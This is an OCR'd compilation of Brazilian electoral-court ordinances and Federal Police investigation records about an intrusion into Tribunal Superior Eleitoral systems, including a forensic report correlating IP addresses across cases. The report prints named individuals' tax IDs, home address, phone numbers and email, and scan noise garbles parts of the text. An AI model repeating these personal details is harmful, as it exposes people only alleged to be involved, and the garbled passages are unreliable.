Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Autenticado por Escrivao de Policia Federal, 


Art. 1º Fica instituído grupo de trabalho incumbido de analisar os conteúdos apresentados no Seminário Internacional Fake 
News e Eleições e na reunião prévia de alinhamento interno, bem como o teor das atas do Conselho Consultivo sobre Internet e 
Eleições (Portaria-TSE nº 949/2017) e dos vídeos gravados pela Assessoria de Comunicação do TSE, com especialistas no tema, 
para, no prazo de 10 (dez) dias, apresentar proposta de ação do Tribunal Superior Eleitoral sobre desinformação e eleição. 


Art. 2º O grupo terá a seguinte composição: 
|- Dr. Ricardo Fioreze, Juiz Auxiliar do Gabinete da Presidência, Coordenador; 


Il - Dr. Sandro Nunes Vieira, Juiz Auxiliar do Gabinete da Vice-Presidência, Coordenador substituto; 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, E E 
Em razão da persistência da situação noticiada no ê E 
expediente 0986569, reitero a solicitação lá contida, de prorrogação ss 
do prazo por último fixado para conclusão do trabalho atribuído à as 


Comissão de Sindicância. 


do Art. 
17933 


Respeitosamente, 


MATRÍCULA: 


RICARDO FIOREZE 


nos termos do S 1º 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
8º] Documento assinado eletronicamente em 29/07/2019, às 15:29, conforme art. 
1º, $2º, HI, b, da Lei 11.419/2006. 


LEONARDO BRUCE MADUREIRA LOPES, 











A autenticidade do documento pode ser conferida em 
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=] Sa E https://sei.tse.jus.br/sei/controlador externo.php? 
rapa 


Eni niro E acao=documento conferir&id orgao acesso externo=0O&cv=1101627&crc=0A19CB 











Autenticado por Escrivao de Policia Federal, 


hi informando, caso não preenchido, o código verificador 1101627 e o código CRC 
0A19CBB6. 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 566 de 29 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR 
ELEITORAL, tendo em vista o contido no Processo SEI nº 
2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos 
trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


Ministra ROSA WEBER 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE nº 566 de 29 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Sha 4 


istra ROSA WEBER 






Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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Diário da Justiça Eletrônico (DJE) O... es 





Ano 2019, Número 147 Divulgação: quarta-feira, 31 de julho de 2019 


Publicação: quinta-feira, 1 de agosto de 2019 








Tribunal Superior Eleitoral 


Ministra Rosa Maria Pires Weber 
Presidente 


Ministro Luís Roberto Barroso 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Vice-Presidente 


Ministro Jorge Mussi 
Corregedor-Geral da Justiça Eleitoral 


Anderson Vidal Corrêa 
Diretor-Geral 


MATRÍCULA: 











Secretaria Judiciária 


Secretaria de Gestão da Informação 


Coordenadoria de Editoração e Publicações 


Fone/Fax: (61) 3030-9321 











LEONARDO BRUCE MADUREIRA LOPES, 











Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 
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Atos da Presidência 


Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
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Portaria 


Prorrogação. Prazo. Comissão de Sindicância. 


Portaria TSE nº 566 de 29 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3, 
RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Ministra ROSA WEBER 


Prorrogação. Prazo. Comissão de Processo Administrativo Disciplinar. 


MATRÍCULA: 


Portaria TSE nº 567 de 30 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2019.00.000003043-0, 
RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Processo Administrativo Disciplinar, 
instituída pela Portaria-TSE 226, de 21.3.2019. 


LEONARDO BRUCE MADUREIRA LOPES, 


Ministra ROSA WEBER 


Assessoria de Plenário 


Ata de Julgamento 


ATA DA 552 SESSÃO, EM 28 DE MAIO DE 2019 
SESSÃO ORDINÁRIA ADMINISTRATIVA 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Autenticado por Escrivao de Policia Federal, 


Presidência da Senhora Ministra Rosa Weber. Presentes os Senhores Ministros Luís Roberto Barroso, Edson Fachin, Jorge Mussi, 
Og Fernandes, Tarcisio Vieira de Carvalho Neto e Sérgio Banhos. Vice-Procurador-Geral Eleitoral, o Dr. Humberto Jacques de 
Medeiros. Diretor-Geral, Anderson Vidal Corrêa. As dezenove horas e vinte e sete minutos foi aberta a sessão. 


REGISTROS 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
A considerar o período transcorrido desde o recebimento da Ê E 
informação 0986380, diligencio na solicitação de novas informações. a: 
RICARDO FIOREZE 48 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR s E 
ELEITORAL a 5 





Documento assinado eletronicamente em 24/09/2019, às 10:17, conforme art. 
1º, 82º, HI, b, da Lei 11.419/2006. 


do Art. 
17933 


A autenticidade do documento pode ser conferida em 


5º n + https://sei.tse.jus.br/sei/controlador externo.php? 
ao acao=documento conferir&id orgao acesso externo=0&cv=1147820&crc=B7708648, 


ja informando, caso não preenchido, o código verificador 1147820 e o código CRC 
B7708648. 





ermos do S 1º 
MATRÍCULA: 


no 
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LEONARDO BRUCE MADUREIRA LOPES, 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 
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TRIBUNAL SUPERIOR ELEITORAL 


Ofício GAB-SPR nº 3586/2019 ER 

Brasília, 24 de setembro de 2019. à E 
A Sua Excelência o Senhor g E 
Dr. MAURÍCIO LEITE VALEIXO as 


Diretor-Geral da Polícia Federal 
Brasília - DF 


do Art. 
17933 


MATRÍCULA: 


Assunto: IPL 1361/2018-4 - SR/PF/DF 


Senhor Diretor-Geral, 


nos termos do S 1º 


Solicito a gentileza de, em caráter reservado, serem enviados a mim os 
resultados até o momento obtidos em razão da investigação promovida por esse 
Departamento por meio do procedimento IPL 1361/2018-4 - SR/PF/DF. 


LEONARDO BRUCE MADUREIRA LOPES, 


Atenciosamente, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
st] Documento assinado eletronicamente em 24/09/2019, às 10:23, conforme art. 
1º, 82º, HI, b, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 


A autenticidade do documento pode ser conferida em 
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r si https://sei.tse.jus.br/sei/controlador externo.php? 


ra Li: acao=documento conferiréid orgao acesso externo=0&cv=1147825&crc=3E86BDDIL, 





ha informando, caso não preenchido, o código verificador 1147825 e o código CRC 
3E86BDDI. 
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E-mail - 1148003 SR/PF/DF 


2020.0043195 


Data de Envio: 
24/09/2019 13:10:40 


De: 
TSE/Presidência <presidenciaotse.jus.br> 


Para: 
dg dpf.gov.br 
aedgdpf.gov.br 
cgab(rdpf.gov.br 


às 11h20. 


Assunto: 
Ofício GAB-SPR nº 3586/2019 


Mensagem: 
Prezados Senhores, 


11 da Lei 11.419/2006. 


+ em 04/11/2020, 


Encaminho em anexo o Ofício GAB-SPR nº 3586/2019. 


do Art. 
17933 


Solicito a gentileza de confirmar recebimento. 


MATRÍCULA: 


Atenciosamente, 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


nos termos do S 1º 


Anexos: 
Oficio 1147825.html 


LEONARDO BRUCE MADUREIRA LOPES, 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 
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De: Grupo de Repressao a Crimes Ciberneticos [grec.dfOdpf.gov.br] 
Enviado em: sexta-feira, 10 de janeiro de 2020 15:08 

Para: Sérgio Carlos Trés E Silva; Presidencia 

Assunto: Encaminha Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 
Brasília/DF, 06 de janeiro de 2020. 


A Sua Excelência 

Ministra ROSA MARIA PIRES WEBER 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 

Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 

CEP 70070-600 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 - SR/PF/DF, solicito a Vossa Excelência 
solicitando informar as portas lógicas das seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula nº 16.179 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, Sã 
Em razão da persistência da situação noticiada no Sa 
expediente 1230304, reitero a solicitação lá contida, de prorrogação Es 
do prazo por último fixado para conclusão do trabalho atribuído à 5 


Comissão de Sindicância. 


do Art. 
17933 


Respeitosamente, 


MATRÍCULA: 


RICARDO FIOREZE 


nos termos do S 1º 


Presidente da Comissão de Sindicância 





RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
| Documento assinado eletronicamente em 04/03/2020, às 15:33, conforme art. 
1º, 82º, HI, b, da Lei 11.419/2006. 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 160 de 04 de março de 2020. 


A PRESIDENTE | DO TRIBUNAL SUPERIOR 


ELEITORAL, no uso de suas atribuições legais e regimentais, 


RESOLVE 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz 
Auxiliar do Gabinete da Presidência, para compor a Comissão 
de Sindicância instituída pela Portaria TSE nº 976 de 08 de novembro de 
2018, em substituição ao Dr. Fernando Pessõa da Silveira Mello. 


Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos 
trabalhos da Comissão referida no art. 1º. 


Ministra ROSA WEBER 








Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE nº 160 de 04 de março de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no 
uso de suas atribuições legais e regimentais, 


RESOLVE 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz 
Auxiliar do Gabinete da Presidência, para compor a Comissão 
de Sindicância instituída pela Portaria TSE nº 976 de 08 de 
novembro de 2018, em substituição ao Dr. Fernando Pessôa da 
Silveira Mello. 


Art. 2º Prorrogar, por sessenta dias, o prazo para 
conclusão dos trabalhos da Comissão referida no art. 1º. 


A 


“Yw Wl alan 


Ministra ROSA WEBER 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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Ano 2020, Número 047 Brasília, terça-feira, 10 de março de 2020 PáBiRÁBE /DF' 
2020.0043195 
Portaria TSE nº 137 de 21 de fevereiro de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições, 
RESOLVE 


dispensar, a pedido, o Dr. FERNANDO PESSÕÔA DA SILVEIRA MELLO das funções de Juiz Auxiliar do Gabinete da Presidência e de 
Juiz Ouvidor da Ouvidoria da Secretaria-Geral da Presidência a partir de 26 de fevereiro de 2020. 


Ministra ROSA WEBER 


Designação. Juiz Auxiliar. Comissão de Sindicância instituída. 


Portaria TSE nº 160 de 04 de março de 2020. 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições legais e regimentais, 


RESOLVE 


MATRÍCULA: 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidência, para compor a Comissão de 
Sindicância instituída pela Portaria TSE nº 976 de 08 de novembro de 2018, em substituição ao Dr. Fernando Pessõa da Silveira 
Mello. 


Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão referida no art. 1º. 


Ministra ROSA WEBER 


LEONARDO BRUCE MADUREIRA LOPES, 


Designação. Juiz Auxiliar. Comissão de Processo Administrativo Disciplinar. 


Portaria TSE nº 159 de 04 de março de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições legais e regimentais, 


RESOLVE 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidência, para compor a Comissão de 
Processo Administrativo Disciplinar instituída pela Portaria TSE nº 226 de 21 de março de 2019, em substituição ao servidor 
Ronaldo Assunção Sousa do Lago. 


Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão referida no art. 1º. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Autenticado por Escrivao de Policia Federal, 


Ministra ROSA WEBER 


Designação. Juiz Auxiliar. Ouvidoria. 


Portaria TSE nº 156 de 04 de março de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições e tendo em vista o disposto no art. 1º, 8 1ºA, da 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


CERTIDÃO DE DESENTRANHAMENTO 
2020.0043195-SR/PF/DF 


CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento dos 
autos. O referido é verdade e dou fé. 


Documento eletrônico assinado em 04/11/2020, às 11h21, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 426440833812ffb41156f88e2aff40fa9d46c67b 





E] 
SERVIÇO PÚBLICO FEDERAL 
MISP - POLÍCIA FEDERAL 
COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 


RELATÓRIO DE ANÁLISE DE ALTA TECNOLOGIA 
Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF 


ASSUNTO: INCIDENTE ADVOCACIA-GERAL DA UNIÃO (COMPLEMENTAR) 
SEI nº 08200.008955/2019 


O presente Relatório trata de complementação das informações encaminhadas pela 
Advocacia-Geral da União, referentes ao processo SEI nº 08200.008955/2019, sobre incidentes 


de segurança ocorridos nos sistemas informatizados daquele órgão. 


1. DILIGÊNCIAS 


A partir das informações levantadas no Relatório de Alta Tecnologia 006/2019, 
foram oficiadas diversas empresas, para que fornecessem dados cadastrais referentes a 


endereços IP utilizados no incidente: 


e OFÍCIO Nº 8/2019-UTC/SRCC/CGPFAZ/DICOR/PF - Claro S.A 

e OFÍCIO Nº 9/2019-UTC/SRCC/CGPFAZ/DICOR/PF - Telefônica Brasil 
e OFÍCIO Nº 10/2019-UTC/SRCC/CGPFAZ/DICOR/PF — MAXIHOST 

e OFÍCIO Nº 11/2019-UTC/SRCC/CGPFAZ/DICOR/PF — Siqueiralink 

e OFÍCIO Nº 4/2020-UTC/SRCC/CGPFAZ/DICOR/PF - Locaweb 


Os ofícios supracitados, bem como as respostas recebidas, encontram-se anexadas 
ao Processo SEI da referência. Cumpre destacar que a empresa Siqueiralink não respondeu à 


determinação encaminhada por e-mail, mesmo após reiteração. 


F1. 353 


RELATÓRIO Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua Fe 


2020.0043195 


2. CORRELAÇÃO COM OUTROS CASOS 


Após o recebimento das respostas dos provedores, as informações relevantes, como 
endereços IP e usuários responsáveis, foram inseridas na Base Nacional de Crimes Cibernéticos 


(BNCO). 


Após pesquisas na ferramenta supracitada, foram encontradas correlações do caso 
em tela com outros dois casos de incidente de segurança, um relativo ao Tribunal Superior 
Eleitoral (vide Relatório de Alta Tecnologia nº 002/2019-UTC/SRCC) e outro relativo ao 
incidente investigado no IPL 005/2017-DICINT/DIP, as quais serão detalhadas abaixo. 


Inicialmente, foi constatada a existência no caso AGU de diversos endereços IP 
idênticos aos utilizados em incidente de segurança ocorrido no Tribunal Superior Eleitoral, 


pertencentes ao provedor de VPN NORDVPN, conforme diagrama abaixo: 


ad eh 


Relatorio 002-2019 TSE Relatorio 006-2019 - AGU 
| | 


185.153.176.4 







185.193.176.2 


185.153.176.3 185.1$3.176.6 185.153.176.9 


NordVPN 


Figura 1 - Diagrama de correlação entre os casos AGU e TSE. 


RELATÓRIO Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua 


Segue tabela com os timestamps correspondentes aos acessos do incidente da AGU 


e do TSE: 





ENDEREÇO IP 


TIMESTAMP AGU 


TIMESTAMP TSE 





185.153.176.2 


28/11/2018 00:21:12 


18/04/2018 02:37:52 a 


18/04/2018 02:56:54 





185.153.176.3 


24/10/2018 04:31:53 


18/04/2018 03:20:35 





185.153.176.4 


16/11/2018 21:04:30 


17/04/2018 21:31:18 


a 18/04/2018 19:12:14 





185.153.176.5 


09/11/2018 00:35:21 


18/04/2018 01:49:06 


a 18/04/2018 02:19:32 





185.153.176.6 


25/01/2019 12:10:07 


18/04/2018 03:04:47 


a 18/04/2018 03:13:54 





185.153.176.8 








14/11/2018 02:35:32 





20/04/2018 10:50:23 


a 20/04/2018 15:15:42 





Segundo pesquisa realizada na Internet, a empresa NordVPN tem sede no Panamá, 
país que não possui leis de retenção de dados obrigatórias e não participa das alianças Cinco 


Olhos (Five Eyes) ou Catorze Olhos (Fourteen Eyes)!. 


Após consultas à DICINT/DIP, referentes ao IPL nº 005/2017-DICINT/DIFP, foram 


encaminhadas informações dos endereços IP e dados cadastrais investigados. Com o auxílio da 


BNCC, foi possível correlacionar tais informações ao incidente TSE. 


Inicialmente, verificou-se que o endereço IP 191.252.0.19, pertencente à empresa 
Locaweb, aparecia nos dois incidentes. Além desse, também foi identificado no caso TSE o 


endereço IP 191.252.64.20, pertencente à mesma empresa. 





! https://pt.wikipedia.org/wiki/NordVPN 





RELATÓRIO Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua 


Após oficiar à empresa Locaweb (Ofício Nº 4/2020- 
UTC/SRCC/CGPFAZ/DICOR/PF), foram informados os seguintes dados cadastrais do 
responsável pela hospedagem do endereço IP 191.252.64.20: 








Responsável: Luiz Henrique Detlinger 
CPF: 042.749.858-90 

RG: 10275110 País: Brasil 

CEP: 69901441 

Endereço: Rua Santa Inês Número: 99807 
Bairro: Conjunto Guiomard Santos 
Cidade: Rio Branco 

Estado: Acre 

Telefone Fixo 1: (12) 3953-9999 

E-mail principal: ednei.pexa O protonmail.com 
Forma de Pagamento: Boleto Bancário 





Verificou-se que LUIZ HENRIQUE DETLINGER também aparecia na 
investigação do IPL nº 005/2017-DICINT/DIP, como responsável por uma hospedagem no 
endereço IP 191.252.56.210 da empresa Locaweb. 


Ao pesquisar por informações adicionais referentes ao IPL, verificou-se que um 
dos autores responsáveis pelo incidente foi o nacional CARLOS EDUARDO SOARES DA 
SILVA. 


Após inserção na BNCC, também foi possível identificar mais uma correlação do 


caso do TSE ao IPL supracitado: 


Durante a investigação ao incidente ao TSE, foram solicitados dados cadastrais de 
alguns endereços IP utilizados no incidente, os quais pertenciam à empresa TIM 


(177.165.110.249 e 186.197.65.147). 

















ENDEREÇO IP TIMESTAMP INICIAL TIMESTAMP FINAL 
177.165.110.249 21/04/2018 10:01:29 21/04/2018 12:40:46 
186.197.65.147 21/04/2018 12:56:05 21/04/2018 15:04:14 
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RELATÓRIO Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua 


Segundo informado pela empresa à época, o usuário responsável pelos acessos 
também era CARLOS EDUARDO SOARES DA SILVA: 


Pesquisa Tráfego GPRS por IP Chamante: 177.165.110.249 
De 21/04/2018 12:40:00 a 21/04/2018 12:40:59 —- GMT-3:00 
Número Pedido: 1145894 2018 


Tim Celular S.A. *** CONFIDENCIAL *** 








[MSISDN TIP [Horário Início lHorário Final IDuração TUplink [Downlink [Hora Brasilia | 
I [Porta Inicio/Fim | | | I | [Hora Local Pesquisa | 
I | I I I I | | I 
[5511959826189  [177.165.110.249 [21-04-2018 10:02:44 |21-04-2018 12:57:26 |10482 [104589364 [2039558503 [21-04-2018 10:02:44 


I I a I I I I l [21-04-2018 10:02:44 | 
I l I I I I l | I 





Pesquisa Tráfego GPRS por IP Chamante: 186.197.65.147 
De 21/04/2018 15:02:00 a 21/04/2018 15:02:59 - GMT-3:00 
Número Pedido: 1145897 2018 


Tim Celular S.A. *** CONFIDENCIAL *+*+ 








|MSISDN II? [Horário Início [Horário Final |Duração Juplink |Downl ink |Hora Brasilia | 
| [Porta Inicio/Fim | | | | | [Hora Local Pesquisa | 

| 
[5511959826189  [186.157.65.147 [21-04-2018 12:57:28 [21-04-2018 16:28:03 [12635 [699013946 [1156458281 [21-04-2018 12:57:28 | 


: | | | | | 


Figura 2 - Linha telefônica correspondente aos IP 177.165.110.249 e 186.197.65.147 


[sra 12:57:28 





DADOS CADASTRAIS 


NÚMERO DA LINHA 
OPERADORA 

DATA INÍCIO 

DATA FIM VALIDADE 


55 11 95982-6189 
TIM SÃO PAULO 
12-01-2018 


PRÉ-PAGO 


DATA CADASTRO 
NOME 
NACIONALIDADE 
DATA NASCIMENTO 
CPF/CNPJ 

N. DOCUMENTO 
PAÍS EMISSOR 


ENDEREÇO 
BAIRRO 

CIDADE - ESTADO 
TELEF. CONTATO 


END. FATURA 
BAIRRO 
CIDADE - ESTADO 


21-04-2018 12:36:55 
CARLOS EDUARDO SOARES DA SILVA 


31-10-1999 
497.903.898-09 


RUA PROFA TEREZA LOBO 196-AP 101 
ALVORADA 

CUIABA - MT 

11959826189 


TIPO CLIENTE : CON 
SEXO : M 


TIPO DOCUMENTO 
DATA EMISSÃO : 


REGISTRO GERAL 


CEP : 78.048-670 


CEP 


Figura 3 - Dados cadastrais da linha 11-95982-6189 


Segue abaixo diagrama com as correlações encontradas: 





SERVIÇO PÚBLICO FEDERAL 
MISP - POLÍCIA FEDERAL 


iba Ss) 
SR/PF/DF 
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COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 


E, 


Event Event 5 


IPL 05/2017 DICINT Relatorio 002-2019 TSE 


191.252.56.210 191.252.0.19 191.252.64.20 


Lv lomT o 


= d Ed 


Resposta Locaweb - Ofício 630/2017 - DICINT/DIP/PF Locaweb Resposta Locaweb - OFÍCIO Nº 4/2020/UTC/SRCC/CGPFA... 


=. 


LUIZ HENRIQUE DETLINGER 


(0) 


ednei pexaQprotonmail.com 


pe a ça 
e o o" 


177.165.110.249 186.197.65.147 


| > 


|] Eh 


TIM S/A Resposta TIM - Ofício 1/2018 - DINPO/CGI/DIP/PF 


| 


CARLOS EDUARDO SOARES DA SILVA 


| 


dh 


11959826189 6 
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SERVIÇO PÚBLICO FEDERAL 
MIJSP - POLÍCIA FEDERAL j 
COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 
3. CONCLUSÃO 


Pelos motivos apresentados neste relatório, acredita-se que os casos referentes ao 
IPL 005/2017-DICINT/DIP, AGU (Relatório 006/2019) e TSE (Relatório 002/2019) estão 


relacionados, de modo que devem ser tratados em conjunto. 
Era o que havia a relatar. 


Brasília/DF, 21 de maio de 2020. 


À de Code DM 


FLÁVIO SILVEIRA DA SILVA IVO DE CARVALHO PEIXINHO 


Perito Criminal Federal Perito Criminal Federal 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


DESPACHO Nº 1424548/2020 
2020.0043195-SR/PF/DF 


Considerando que ainda restam pendentes diligências no presnete inquérito, 
1. Junte-se cópia do Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF; 


2. Verifique-se se consta em cartório resposta ao Ofício nº 0070/2020, reiterado pelo Ofício nº 2179/2020. Em caso positivo, 
Junte-se. Em caso negativo, reitere-se mais uma vez; 


3. Expeçam-se ofícios à 12º Vara Federal da Seção Judiciária do DF (Processo nº 0034686-42.20174.013400) e à 7º Vara 
Federal da Subseção Judiciária de São Paulo (Processo nº 0013343-32.20174.03.6181), como seguinte teor: 


Exmo(a). Sr(a). Juiz(a), 


O Inquérito Policial nº 1361/20 18-SR/PF/DF (renumerado para IPL 2020.0043195-SR/PF/DF no sistema Epol) foi instaurado em 
08/11/2018, a pedido da então Ministra Presidente do TSE, Rosa Weber, para apurar a suposta invasão a sistemas e bancos 
de dados do TSE, comacesso e divulgação de dados sigilosos daquele Tribunal. 


A partir de arquivos enviados pelo TSE, o perito criminal Flávio Silveira, lotado no Serviço de Repressão a Crimes Cibernéticos, 
elaborou a Informação nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF, na qual aponta a possibilidade de vinculação dos eventos 
divulgados em novembro de 2018 (que ensejaram a instauração do presente inquérito) com outros eventos ocorridos em 
abril/20 18 naquele Tribunal e sugere oficiar as empresas para que forneçam os dados cadastrais dos endereços IP utilizados, bem 
como a solicitação do contendo referente a hospedagem da Locaweb (IP 191.252.0.19) utilizada para baixar o artefato malicioso. 


Posteriormente, por conta de outra invasão cibernética, o mesmo perito elaborou o Relatório de Análise de Alta Tecnologia nº 
001/2020-UTC/SRCC/CGPFAZ/DICOR/PF, no qual conclui: "Pelos motivos apresentados neste relatório, acredita-se que os 
casos referentes ao IPL 005/2017-DICINT/DIP, AGU (Relatório 006/2019) e TSE (Relatório 002/2019) estão relacionados, de 
modo que devem ser tratados em conjunto". 


Assim, considerando que a autoria dos fatos tratados no IPL 005/20 17-DICINT/DIP (que tramitou perante a 12º Vara Federal da 
Seção Judiciária do DF - Processo nº 0034686-42.20174.01.3400 e perante a 7º Vara Federal da Subseção Judiciária de São 
Paulo - Processo nº 0013343-32.20174.03.6181) é coincidente com a autoria dos fatos tratados no presente inquérito (segundo 
apontado no Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF), solicito a vossa 
